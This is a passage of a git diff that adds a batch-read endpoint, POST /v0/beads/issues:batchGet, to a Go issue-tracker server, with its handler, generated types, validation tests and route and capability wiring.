(*serveIdentityStore) BatchGetter() (issueops.BatchGetter, error) { + return serveIdentityRole{}, nil +} + // IssueRelations is the first role added to serveIssueRoles since this stub // stopped embedding a nil store, so the comment above it is now a record of the // old regime rather than a warning about this one: GraphCounter had to be found @@ -297,6 +305,7 @@ type serveIdentityRole struct { issueops.CycleDetector issueops.EdgeReader issueops.GraphCounter + issueops.BatchGetter issueops.Relations issueops.Commenter issueops.BlockingAnnotator diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index 44ba3268a..329b1734f 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -879,6 +879,9 @@ func findAbandonedWisps(ctx context.Context, r molReader, cleanAll bool, ageThre for id := range childIDs { childIDSlice = append(childIDSlice, id) } + // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc + // and the importIssueLookup TODO in import_shared.go for why this is + // not yet routed through the role. childIssues, fetchErr := r.GetIssuesByIDs(ctx, childIDSlice) if fetchErr == nil { abandonedSet := make(map[string]bool, len(abandoned)) diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 091375c48..4e559636e 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "batch_apply.go", "batch_close.go", "batch_create.go", + "batch_get.go", "blocking.go", "claim.go", "claim_next.go", @@ -65,6 +66,7 @@ go_test( "batch_apply_test.go", "batch_close_test.go", "batch_create_test.go", + "batch_get_test.go", "blocking_test.go", "brief_projection_test.go", "claim_next_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 1edee6f7b..ac64377c4 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -818,6 +818,30 @@ type BatchCreateResponse struct { Items []Issue `json:"items"` } +// BatchGetIssue One resolved entry of `BatchGetIssuesResult.issues`: an `Issue` plus its current `revision`. Property semantics other than `revision` are documented on `Issue`; the spec repeats the list rather than composing it (see the note at the top of this document). +type BatchGetIssue = types.BatchGetIssue + +// BatchGetIssuesRequest Which issues to read, in one snapshot. There is no predicate here — the caller already knows the ids — which is `DeleteIssuesRequest`'s own reason for carrying none. +// +// `additionalProperties: false`, so an unknown member is a `400` naming the member. +type BatchGetIssuesRequest struct { + // Ids The issues to read, exact ids, in either plane. DUPLICATES COLLAPSE: a repeated id is answered once, in the position of its first mention. An EMPTY array is legal and answers with both `issues` and `missing` empty — it is not refused the way `DeleteIssuesRequest.ids` refuses one, because a read that found nothing to read is not a mistake the way a delete that erased nothing usually is. + // + // The cap is on the REQUEST, counted before deduplication: a caller sending 1500 mentions of 3 distinct ids still names a request this operation refuses, because the obligation the cap bounds is reading the request apart, not reading the rows it resolves to. + Ids []string `json:"ids"` +} + +// BatchGetIssuesResult The issues that resolved, hydrated, plus the ids that did not — both read from the SAME snapshot. Never a `404`: an id naming no stored row is reported in `missing`, not refused, the same set-read answer `DependencyEdges` and `EdgeCounts` give. +type BatchGetIssuesResult struct { + // Issues One entry per requested id that resolved, in the REQUEST's order (the caller's first mention of each distinct id), never the storage engine's natural order. Each issue carries its current `revision`, so a caller that goes on to write one back has the optimistic-concurrency token a lifecycle write wants without a second round trip. Empty array (never null) when nothing resolved. + // + // HYDRATION IS LABELS ONLY: no dependencies, dependents or comments — use `GET /v0/beads/issues/{id}` (`IssueDetails`) for those. + Issues []BatchGetIssue `json:"issues"` + + // Missing The requested ids that resolved to no stored row, in the same first-mention order as the request. An id here contributes no entry to `issues`, and the two arrays' lengths always sum to the number of DISTINCT ids the request named. Empty array (never null) when every named id resolved. + Missing []string `json:"missing"` +} + // Blocker One live blocker named by a blocked-issue refusal. type Blocker struct { // Id The blocker: a local issue id, or the full `external::` reference. @@ -1010,7 +1034,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -2713,6 +2737,9 @@ type BatchCloseIssuesJSONRequestBody = BatchCloseRequest // BatchCreateIssuesJSONRequestBody defines body for BatchCreateIssues for application/json ContentType. type BatchCreateIssuesJSONRequestBody = BatchCreateRequest +// BatchGetIssuesJSONRequestBody defines body for BatchGetIssues for application/json ContentType. +type BatchGetIssuesJSONRequestBody = BatchGetIssuesRequest + // ClaimNextIssueJSONRequestBody defines body for ClaimNextIssue for application/json ContentType. type ClaimNextIssueJSONRequestBody = ClaimNextRequest diff --git a/internal/httpapi/batch_get.go b/internal/httpapi/batch_get.go new file mode 100644 index 000000000..7548c0931 --- /dev/null +++ b/internal/httpapi/batch_get.go @@ -0,0 +1,165 @@ +package httpapi + +import ( + "encoding/json" + "errors" + "net/http" + "slices" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The request body's whole member vocabulary. The schema is +// additionalProperties: false, so anything else is refused BY NAME, the same +// discipline deleteMembers documents. +const batchGetIDsMember = "ids" + +// batchGetMembers is the whole vocabulary, in one place, for batchGetMemberList +// below. +var batchGetMembers = []string{batchGetIDsMember} + +// handleBatchGetIssues answers POST /v0/beads/issues:batchGet. +// +// WHAT THIS HANDLER DOES NOT DO is the point of it, as for delete and sweep. +// It does not decide which id is missing, does not pick a snapshot, and does +// not hydrate a row. All of that is issueops.BatchGetter, the same library +// surface gc's ready veto and the CLI's own id-resolution passes are meant to +// move onto (see the role's own doc for the migration this slice did not make +// — the HTTP client leg waits on the generator). Everything above the role +// here is argument validation and projection. +// +// NO ACTOR, NO VERSION GUARD, NO FLAGS: this operation reads and changes +// nothing, so it carries none of delete's write vocabulary. Its only member is +// `ids`. +func (s *Server) handleBatchGetIssues(w http.ResponseWriter, r *http.Request) { + if !s.requireNoQuery(w, r) { + return + } + if !s.requireJSONContent(w, r) { + return + } + request, ok := s.batchGetRequest(w, r) + if !ok { + return + } + + getter, err := s.batchGetter(r) + if err != nil { + s.failErr(w, r, err) + return + } + result, err := getter.GetMany(r.Context(), request) + if err != nil { + s.failBatchGetErr(w, r, err) + return + } + writeJSON(w, batchGetResponse(result)) +} + +// batchGetRequest decodes the body into the role's request. +// +// UNLIKE delete's handler, it enforces NEITHER the cap NOR the per-entry blank +// check itself. Both reach the wire through the role's own ErrValidation and +// failBatchGetErr below, and that is deliberate rather than an omission: `ids` +// is the ONLY member this operation has, so there is no second member a +// pre-check could need to disambiguate from, and checking here first would +// risk disagreeing with ValidateGetManyRequest's own order — the cap is +// checked BEFORE the blank-entry scan, against the request as sent — for a +// request that trips both. Letting the role answer keeps the wire's order +// identical to the library's, by construction. +func (s *Server) batchGetRequest(w http.ResponseWriter, r *http.Request) (issueops.GetManyRequest, bool) { + members, res := decodeJSONObjectBody(w, r) + if res != nil { + s.fail(w, r, *res) + return issueops.GetManyRequest{}, false + } + + var unknown []string + for name := range members { + if !slices.Contains(batchGetMembers, name) { + unknown = append(unknown, name) + } + } + if len(unknown) > 0 { + offender := slices.Min(unknown) + requestInfo(r.Context()).refuse(offender) + s.fail(w, r, InvalidArgument(offender, ReasonUnknownParameter, + "this operation's request body carries "+batchGetMemberList()+" and nothing else")) + return issueops.GetManyRequest{}, false + } + + raw, ok := members[batchGetIDsMember] + if !ok { + s.fail(w, r, InvalidArgument(batchGetIDsMember, ReasonInvalidValue, + "`"+batchGetIDsMember+"` is required")) + return issueops.GetManyRequest{}, false + } + var ids *[]string + if err := json.Unmarshal(raw, &ids); err != nil || ids == nil { + s.fail(w, r, InvalidArgument(batchGetIDsMember, ReasonInvalidValue, + "`"+batchGetIDsMember+"` must be an array of strings")) + return issueops.GetManyRequest{}, false + } + + return issueops.GetManyRequest{IDs: *ids}, true +} + +func batchGetMemberList() string { + quoted := make([]string, len(batchGetMembers)) + for i, name := range batchGetMembers { + quoted[i] = "`" + name + "`" + } + return strings.Join(quoted, ", ") +} + +// failBatchGetErr answers a failed batch get. The role's only refusal over the +// wire is ErrValidation — an oversized `ids` (*issueops.TooManyIDsError, +// counted before deduplication); there is no handler-side blank-entry +// pre-check to catch anything first, so EVERY validation failure, blank +// entries included, reaches the wire through this function, which is why +// batchGetRequest above enforces neither the cap nor the per-entry blank +// check itself. Nothing here is a 404 or a 409: a batch read reports a miss +// in the response body, it does not refuse the request over one, and this +// operation changes nothing to guard. +// +// UNLIKE failDeleteErr, it takes no request value: this operation has no +// version-mismatch case (it writes nothing) and only one member to blame, so +// there is nothing in the request this function would need to read. +func (s *Server) failBatchGetErr(w http.ResponseWriter, r *http.Request, err error) { + if !errors.Is(err, issueops.ErrValidation) { + s.failErr(w, r, err) + return + } + requestInfo(r.Context()).refuse(batchGetIDsMember) + s.fail(w, r, InvalidArgument(batchGetIDsMember, ReasonInvalidValue, err.Error())) +} + +// batchGetResponse projects the role's result onto the wire envelope. +// +// Both members are non-nil so the body carries `[]` rather than `null` on an +// empty answer, the same promise wireEdges and deleteResponse's `orphaned` +// make. `issues` holds `apigen.BatchGetIssue`, each built by +// types.NewBatchGetIssue rather than a bare `apigen.Issue`: Issue.RowVersion +// is `json:"-"`, so the Issue body alone cannot carry the row's revision, and +// NewBatchGetIssue is the one projection that puts it on the wire the same +// way NewIssueDetails does for `GET /v0/beads/issues/{id}`. +// GetManyResult.Issues never carries a nil entry for a successful call, and a +// wire array of pointers would let json encode a `null` element the role's +// own contract forbids, so each entry is dereferenced before projection. +func batchGetResponse(result issueops.GetManyResult) apigen.BatchGetIssuesResult { + body := apigen.BatchGetIssuesResult{ + Issues: []apigen.BatchGetIssue{}, + Missing: []string{}, + } + for _, issue := range result.Issues { + if issue == nil { + continue + } + body.Issues = append(body.Issues, types.NewBatchGetIssue(*issue)) + } + body.Missing = append(body.Missing, result.Missing...) + return body +} diff --git a/internal/httpapi/batch_get_test.go b/internal/httpapi/batch_get_test.go new file mode 100644 index 000000000..a0e058c83 --- /dev/null +++ b/internal/httpapi/batch_get_test.go @@ -0,0 +1,303 @@ +package httpapi + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// These cover the transport half of POST /v0/beads/issues:batchGet — the body +// shape, this operation's own bounds, and how the role's result is projected +// onto the wire. Everything below the wire (the cap, deduplication, snapshot +// sharing, labels-only hydration) is issueops.BatchGetter's, pinned by +// backend/conformance/batch_getter_contract.go at all three backends. + +const batchGetPath = "/v0/beads/issues:batchGet" + +func newBatchGetServer(t *testing.T, getter *roleBatchGetter) *testServer { + t.Helper() + return newTestServer(t, rolesConfig(Config{BatchGetter: getter})) +} + +func batchGetIssue(id string, rowVersion int64) *types.Issue { + return &types.Issue{ + ID: id, + Title: "title for " + id, + Priority: 1, + IssueType: types.TypeTask, + Status: types.StatusOpen, + Labels: []string{"api"}, + RowVersion: rowVersion, + CreatedAt: time.Date(2026, 7, 31, 12, 0, 0, 0, time.UTC), + UpdatedAt: time.Date(2026, 7, 31, 12, 0, 0, 0, time.UTC), + } +} + +// TestBatchGetIssuesAnswersWithRevision pins HIGH item 1: each item in +// `issues` carries its own `revision`, projected from the issue's RowVersion +// the same way IssueDetails.Revision is for GET /v0/beads/issues/{id}. The +// fixture uses guardToken, past 2^53, so a response member that had been +// decoded (or encoded) as a float64 anywhere on this path would read back a +// NEARBY number rather than the real one. +func TestBatchGetIssuesAnswersWithRevision(t *testing.T) { + issue := batchGetIssue("bd-1", guardToken) + getter := &roleBatchGetter{result: issueops.GetManyResult{ + Issues: []*types.Issue{issue}, + Missing: []string{}, + }} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, `{"ids":["bd-1"]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + raw := readAll(t, resp) + var body struct { + Issues []struct { + ID *string `json:"id"` + Revision *string `json:"revision"` + } `json:"issues"` + Missing []string `json:"missing"` + } + if err := json.Unmarshal([]byte(raw), &body); err != nil { + t.Fatalf("decode %q: %v", raw, err) + } + if len(body.Issues) != 1 { + t.Fatalf("issues = %v, want 1 entry: %s", body.Issues, raw) + } + got := body.Issues[0] + if got.ID == nil || *got.ID != "bd-1" { + t.Errorf("id = %v, want bd-1", got.ID) + } + if got.Revision == nil { + t.Fatalf("the issue carries no `revision`: %s", raw) + } + token, err := types.ParseRevisionToken(*got.Revision) + if err != nil { + t.Fatalf("parse revision %q: %v", *got.Revision, err) + } + if token != guardToken { + t.Errorf("revision = %d, want the row's %d", token, guardToken) + } + if len(body.Missing) != 0 { + t.Errorf("missing = %v, want none", body.Missing) + } + + reqs := getter.getManyRequests() + if len(reqs) != 1 || len(reqs[0].IDs) != 1 || reqs[0].IDs[0] != "bd-1" { + t.Fatalf("role calls = %+v, want one call naming bd-1", reqs) + } +} + +// TestBatchGetIssuesReportsMissingIDs pins that an id naming no stored row +// comes back in `missing` rather than vanishing or refusing the request, and +// that a found id and a missing one can ride in the same answer. +func TestBatchGetIssuesReportsMissingIDs(t *testing.T) { + issue := batchGetIssue("bd-1", 1) + getter := &roleBatchGetter{result: issueops.GetManyResult{ + Issues: []*types.Issue{issue}, + Missing: []string{"bd-gone"}, + }} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, `{"ids":["bd-1","bd-gone"]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + missing, _ := body["missing"].([]any) + if len(missing) != 1 || missing[0] != "bd-gone" { + t.Errorf("missing = %v, want [bd-gone]", body["missing"]) + } + issues, _ := body["issues"].([]any) + if len(issues) != 1 { + t.Errorf("issues = %v, want exactly the one found row", body["issues"]) + } +} + +// TestBatchGetIssuesAnswersEmptyArraysNotNull pins the one thing a Go nil +// slice gets wrong on the way out, for BOTH members: a client is entitled to +// range over `issues` and `missing` without a nil check even when neither +// carries anything. +func TestBatchGetIssuesAnswersEmptyArraysNotNull(t *testing.T) { + getter := &roleBatchGetter{result: issueops.GetManyResult{ + Issues: []*types.Issue{}, + Missing: []string{"bd-gone"}, + }} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, `{"ids":["bd-gone"]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + raw := readAll(t, resp) + if !strings.Contains(raw, `"issues":[]`) { + t.Errorf("body = %s, want an empty `issues` array rather than null", raw) + } + + allMissing := &roleBatchGetter{result: issueops.GetManyResult{ + Issues: []*types.Issue{}, + Missing: []string{}, + }} + ts2 := newBatchGetServer(t, allMissing) + resp2 := ts2.claim(t, batchGetPath, `{"ids":[]}`) + if resp2.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp2.StatusCode, readAll(t, resp2)) + } + raw2 := readAll(t, resp2) + if !strings.Contains(raw2, `"missing":[]`) { + t.Errorf("body = %s, want an empty `missing` array rather than null", raw2) + } +} + +// TestBatchGetIssuesRefusesAnUnknownMember pins that the body is +// additionalProperties: false and the refusal names the offending member: `ids` +// is the whole vocabulary. +func TestBatchGetIssuesRefusesAnUnknownMember(t *testing.T) { + getter := &roleBatchGetter{} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, `{"ids":["bd-1"],"dry_run":true}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %q", body["code"], CodeInvalidArgument) + } + if body["param"] != "dry_run" { + t.Errorf("param = %v, want dry_run", body["param"]) + } + if calls := getter.getManyRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } +} + +// TestBatchGetIssuesRefusesAMissingOrNullIDs pins that `ids` is required and +// must actually be an array: absent and explicit null are both refused, before +// the role is ever reached. +func TestBatchGetIssuesRefusesAMissingOrNullIDs(t *testing.T) { + for _, tc := range []struct { + name string + body string + }{ + {"no ids member at all", `{}`}, + {"ids is explicitly null", `{"ids":null}`}, + {"ids is a string, not an array", `{"ids":"bd-1"}`}, + } { + t.Run(tc.name, func(t *testing.T) { + getter := &roleBatchGetter{} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, tc.body) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %q", body["code"], CodeInvalidArgument) + } + if body["param"] != "ids" { + t.Errorf("param = %v, want ids", body["param"]) + } + if calls := getter.getManyRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } + }) + } +} + +// TestBatchGetIssuesRefusesAQueryParameter pins that the document-level +// unknown-parameter rule reaches this operation too: it declares no +// parameters, so every query key is refused. +func TestBatchGetIssuesRefusesAQueryParameter(t *testing.T) { + getter := &roleBatchGetter{} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath+"?dry_run=true", `{"ids":["bd-1"]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["param"] != "dry_run" || body["reason"] != string(ReasonUnknownParameter) { + t.Errorf("param/reason = %v/%v, want dry_run/unknown_parameter", body["param"], body["reason"]) + } + if calls := getter.getManyRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } +} + +// TestBatchGetIssuesRefusesOverTheCap pins the wire's half of MaxGetManyIDs: +// the fake stands in for the role's own refusal (as +// TestCountDependencyEdgesNamesTheRefusedParameter does for GraphCounter), +// and the handler still answers 400 with the error envelope the operation's +// only member takes, naming the FULL 1001-entry request as sent. +func TestBatchGetIssuesRefusesOverTheCap(t *testing.T) { + const over = issueops.MaxGetManyIDs + 1 + getter := &roleBatchGetter{err: &issueops.TooManyIDsError{Requested: over, Cap: issueops.MaxGetManyIDs}} + ts := newBatchGetServer(t, getter) + + ids := make([]string, over) + for i := range ids { + ids[i] = fmt.Sprintf(`"bd-%d"`, i) + } + resp := ts.claim(t, batchGetPath, `{"ids":[`+strings.Join(ids, ",")+`]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %q", body["code"], CodeInvalidArgument) + } + if body["param"] != "ids" { + t.Errorf("param = %v, want ids", body["param"]) + } + if body["reason"] != string(ReasonInvalidValue) { + t.Errorf("reason = %v, want invalid_value", body["reason"]) + } + + reqs := getter.getManyRequests() + if len(reqs) != 1 { + t.Fatalf("role calls = %d, want 1: the role, not the handler, is where this is counted", len(reqs)) + } + if len(reqs[0].IDs) != over { + t.Errorf("the role received %d ids, want the full %d sent: the handler must not pre-trim the request", len(reqs[0].IDs), over) + } +} + +// TestBatchGetIssuesAcceptsExactlyTheCap pins the wire's half of the +// boundary MED item 4 names at the role: a request at exactly MaxGetManyIDs +// is not refused by anything above the role, so every id reaches it. +func TestBatchGetIssuesAcceptsExactlyTheCap(t *testing.T) { + const atCap = issueops.MaxGetManyIDs + + ids := make([]string, atCap) + issues := make([]*types.Issue, atCap) + for i := range ids { + id := fmt.Sprintf("bd-%d", i) + ids[i] = `"` + id + `"` + issues[i] = batchGetIssue(id, 1) + } + getter := &roleBatchGetter{result: issueops.GetManyResult{ + Issues: issues, + Missing: []string{}, + }} + ts := newBatchGetServer(t, getter) + + resp := ts.claim(t, batchGetPath, `{"ids":[`+strings.Join(ids, ",")+`]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("at the cap: status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + reqs := getter.getManyRequests() + if len(reqs) != 1 || len(reqs[0].IDs) != atCap { + t.Fatalf("the role received %d ids, want the full %d at the cap", len(reqs[0].IDs), atCap) + } +} + +var _ issueops.BatchGetter = (*roleBatchGetter)(nil) diff --git a/internal/httpapi/claim.go b/internal/httpapi/claim.go index 58590b313..24d79093b 100644 --- a/internal/httpapi/claim.go +++ b/internal/httpapi/claim.go @@ -349,6 +349,7 @@ var ( _ uow.CycleDetectorSource = timedProvider{} _ uow.EdgeReaderSource = timedProvider{} _ uow.GraphCounterSource = timedProvider{} + _ uow.BatchGetterSource = timedProvider{} _ uow.RelationsSource = timedProvider{} _ uow.CommenterSource = timedProvider{} _ uow.BlockingAnnotatorSource = timedProvider{} @@ -467,6 +468,12 @@ func (p timedProvider) GraphCounter() (issueops.GraphCounter, error) { return uow.NewGraphCounter(p) } +// BatchGetter builds the batch-read role OVER THIS WRAPPER, for the same +// reason and with the same hazard as IssueReader. +func (p timedProvider) BatchGetter() (issueops.BatchGetter, error) { + return uow.NewBatchGetter(p) +} + // IssueRelations builds the single-anchor neighbor role OVER THIS WRAPPER, for // the same reason and with the same hazard as IssueReader. It is the one // accessor here whose name is not the role's: the seam spells it IssueRelations diff --git a/internal/httpapi/pinning.go b/internal/httpapi/pinning.go index 1c47d1b5f..2144038fb 100644 --- a/internal/httpapi/pinning.go +++ b/internal/httpapi/pinning.go @@ -27,6 +27,7 @@ var ( _ apigen.Issue = types.Issue{} _ apigen.IssueWithCounts = types.IssueWithCounts{} _ apigen.IssueDetails = types.IssueDetails{} + _ apigen.BatchGetIssue = types.BatchGetIssue{} _ apigen.IssueWithDependencyMetadata = types.IssueWithDependencyMetadata{} _ apigen.Dependency = types.Dependency{} _ apigen.TreeNode = types.TreeNode{} @@ -71,6 +72,7 @@ var ( _ []types.Dependency = apigen.DependencyEdges{}.Items _ []issueops.IssueBlocking = apigen.BlockingAnnotations{}.Items _ []types.Issue = apigen.BatchCreateResponse{}.Items + _ []types.BatchGetIssue = apigen.BatchGetIssuesResult{}.Issues _ []eventsjournal.Record = apigen.EventsPage{}.Records ) diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 31e336eac..d3252ed9a 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -459,6 +459,13 @@ const ( // answers about a set of ISSUES described by a predicate, and this one about // EDGES anchored on ids, per anchor. OpCountDependencyEdges = "countDependencyEdges" + // OpBatchGetIssues reads several issues by id in ONE snapshot, behind + // issueops.BatchGetter. It is NOT getIssue repeated: that operation names + // one id and answers 404 on a miss, and this one names many and reports an + // absent id in `missing` beside whatever else resolved — the set-read + // answer EdgeCountRequest.IDs and EdgeReadRequest already give, applied to + // the issues themselves rather than their edges. + OpBatchGetIssues = "batchGetIssues" // OpListRelatedIssues reads ONE issue's neighbors in a named direction, // behind issueops.Relations. It is NOT listDependencies narrowed to one // anchor: that operation answers the stored edge ROWS with their targets @@ -707,6 +714,12 @@ var operationCodes = map[string][]Code{ // client as the 400 it is, on the sentinel, with the parameter named in the // validator's own order. OpCountDependencyEdges: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, + // No not_found, for OpListDependencies' reason restated about issues rather + // than edges: an id naming no stored row is reported in `missing`, not + // refused, so this operation's only 400s are the role's own — an oversized + // `ids` (*issueops.TooManyIDsError) and a blank entry. An empty `ids` is + // legal and answers with an empty result, so it earns no refusal at all. + OpBatchGetIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The same vocabulary as the stored-edge read beside it, and no not_found // for a stronger version of the same reason: this operation probes no id's // existence at all, so there is nothing it could 404 on. diff --git a/internal/httpapi/roles_test.go b/internal/httpapi/roles_test.go index 1540dbbf8..083923e9c 100644 --- a/internal/httpapi/roles_test.go +++ b/internal/httpapi/roles_test.go @@ -134,6 +134,34 @@ func (c *roleGraphCounter) countRequests() []issueops.EdgeCountRequest { return append([]issueops.EdgeCountRequest(nil), c.counts...) } +// roleBatchGetter is the many-ids read role of the store-shaped source, its own +// fake beside roleGraphCounter for its same reason: a separate role on a +// separate accessor, so one fake answering both would let a test pass on a +// server that had wired the batch-get handler to the wrong role. +type roleBatchGetter struct { + result issueops.GetManyResult + err error + + mu sync.Mutex + calls []issueops.GetManyRequest +} + +func (g *roleBatchGetter) GetMany(_ context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + g.mu.Lock() + g.calls = append(g.calls, req) + g.mu.Unlock() + if g.err != nil { + return issueops.GetManyResult{}, g.err + } + return g.result, nil +} + +func (g *roleBatchGetter) getManyRequests() []issueops.GetManyRequest { + g.mu.Lock() + defer g.mu.Unlock() + return append([]issueops.GetManyRequest(nil), g.calls...) +} + // roleRelations is the single-anchor NEIGHBOR role of the store-shaped source, // its own fake beside roleEdgeReader for roleGraphCounter's reason: the two sit // on adjacent accessors and answer about the same edges, so one fake serving @@ -929,6 +957,9 @@ func rolesConfig(cfg Config) Config { if cfg.GraphCounter == nil { cfg.GraphCounter = &roleGraphCounter{} } + if cfg.BatchGetter == nil { + cfg.BatchGetter = &roleBatchGetter{} + } if cfg.Relations == nil { cfg.Relations = &roleRelations{} } diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 1fe26aab0..0aa93b109 100644 --- 